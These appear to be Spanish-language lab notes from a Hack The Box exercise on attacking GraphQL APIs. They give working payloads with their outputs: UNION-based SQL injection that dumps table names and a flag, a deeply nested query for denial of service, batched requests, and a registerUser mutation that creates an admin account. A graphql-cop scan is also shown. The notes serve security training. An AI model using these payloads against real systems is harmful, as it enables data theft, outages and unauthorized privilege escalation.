Skip to content

Injection Attacks

  • Input
c
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}
  • Output
c
{
  "data": {
    "user": {
      "username": "secret,user,flag,post"
    }
  }
}
  • Input
c
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='flag' AND table_schema=database()-- -") {
    username
  }
}
  • Output
c
{
  "data": {
    "user": {
      "username": "id,flag"
    }
  }
}
  • Input
c
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(id, ',', flag),4,5,6 FROM flag-- -") {
    username
  }
}
  • Output
c
{
  "data": {
    "user": {
      "username": "1,HTB{****}"
    }
  }
}

Denial-of-Service (DoS)

Dependiendo de la configuración de la API GraphQL, podemos crear consultas que generen respuestas exponencialmente grandes y requieran recursos significativos para su procesamiento. Esto puede provocar un alto uso del hardware en el sistema backend, lo que podría dar lugar a un escenario de denegación de servicio (DoS) que limite la disponibilidad del servicio para otros usuarios.

Para ejecutar un ataque DoS, debemos identificar una forma de construir una consulta que genere una respuesta grande. Veamos la visualización de los resultados de la introspección en GraphQL Voyager. Podemos identificar un bucle entre UserObject y PostObject a través de los campos author y posts:

c
        graphql
{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              username
            }
          }
        }
      }
    }
  }
}
c
{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              posts {
                edges {
                  node {
                    author {
                      posts {
                        edges {
                          node {
                            author {
                              posts {
                                edges {
                                  node {
                                    author {
                                      posts {
                                        edges {
                                          node {
                                            author {
                                              posts {
                                                edges {
                                                  node {
                                                    author {
                                                      posts {
                                                        edges {
                                                          node {
                                                            author {
                                                              posts {
                                                                edges {
                                                                  node {
                                                                    author {
                                                                      username
                                                                    }
                                                                  }
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Batching Attacks

El procesamiento por lotes en GraphQL se refiere a la ejecución de múltiples consultas con una sola solicitud. Podemos hacerlo proporcionando directamente múltiples consultas en una lista JSON en la solicitud HTTP. Por ejemplo, podemos consultar el ID del usuario administrador y el título de la primera publicación en una sola solicitud:

c
POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json

[
    {
        "query":"{user(username: \"admin\") {uuid}}"
    },
    {
        "query":"{post(id: 1) {title}}"
    }
]

Mutations

Las mutaciones son consultas GraphQL que modifican los datos del servidor. Se pueden utilizar para crear nuevos objetos, actualizar objetos existentes o eliminar objetos existentes.

c
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}
  • Output
c
{
  "data": {
    "__schema": {
      "mutationType": {
        "name": "Mutation",
        "fields": [
          {
            "name": "registerUser",
            "args": [
              {
                "name": "input",
                "defaultValue": null,
                "type": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "INPUT_OBJECT",
                    "name": "RegisterUserInput",
                    "ofType": null
                  }
                }
              }
            ]
          }
        ]
      }
    }
  }
}

A partir del resultado, podemos identificar una mutación registerUser, que presumiblemente nos permite crear nuevos usuarios. La mutación requiere un objeto RegisterUserInput como entrada:

  • Input
c
{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
  • Output
c
{
  "data": {
    "__type": {
      "name": "RegisterUserInput",
      "inputFields": [
        {
          "name": "username",
          "description": null,
          "defaultValue": null
        },
        {
          "name": "password",
          "description": null,
          "defaultValue": null
        },
        {
          "name": "role",
          "description": null,
          "defaultValue": null
        },
        {
          "name": "msg",
          "description": null,
          "defaultValue": null
        }
      ]
    }
  }
}
c
$ echo -n 'password' | md5sum

5f4dcc3b5aa765d61d8327deb882cf99  -
  • input
c
        graphql
mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

Exploitation with Mutations

Hemos identificado los roles user consultando admin a todos los usuarios existentes. Creemos un nuevo usuario con el rol admin y comprobemos si esto nos permite acceder al punto de acceso interno de administración en /admin. Podemos usar la siguiente mutación de GraphQL:

c
mutation {
  registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
    user {
      username
      password
      msg
      role
    }
  }
}
  • Ejercicio

Iniciamos enumerando los valores que tiene users.

  • input
c
{
users{
  username
  role
  msg
}
}
  • output
c
{
  "data": {
    "users": [
      {
        "username": "htb-stdnt",
        "role": "user",
        "msg": "Welcome!"
      },
      {
        "username": "test",
        "role": "user",
        "msg": "Test"
      },
      {
        "username": "admin",
        "role": "admin",
        "msg": "Hello admin!"
      }
    ]
  }
}

Ahora procedemos agregar un usuario con el rol admin

  • Input
c
mutation {
  registerUser(input: {username: "hacker", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
    user {
      username
      role
    }
  }
}
  • Output
c
{
  "data": {
    "registerUser": {
      "user": {
        "username": "hacker",
        "role": "admin"
      }
    }
  }
}

Tools

graphql-cop

c
$ python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphql)
[HIGH] Array-based Query Batching - Batch queries allowed with 10+ simultaneous queries (Denial of Service - /graphql)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphql)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphql)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphql)
[MEDIUM] GET Method Query Support - GraphQL queries allowed using the GET method (Possible Cross Site Request Forgery (CSRF) - /graphql)
[LOW] GraphQL IDE - GraphiQL Explorer/Playground Enabled (Information Leakage - /graphql)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphql)
[MEDIUM] POST based url-encoded query (possible CSRF) - GraphQL accepts non-JSON queries over POST (Possible Cross Site Request Forgery - /graphql)

InQL

InQL es una extensión de Burp que podemos instalar a través de la BApp Store en Burp. Una vez completada la instalación, se añade una pestaña InQL en Burp.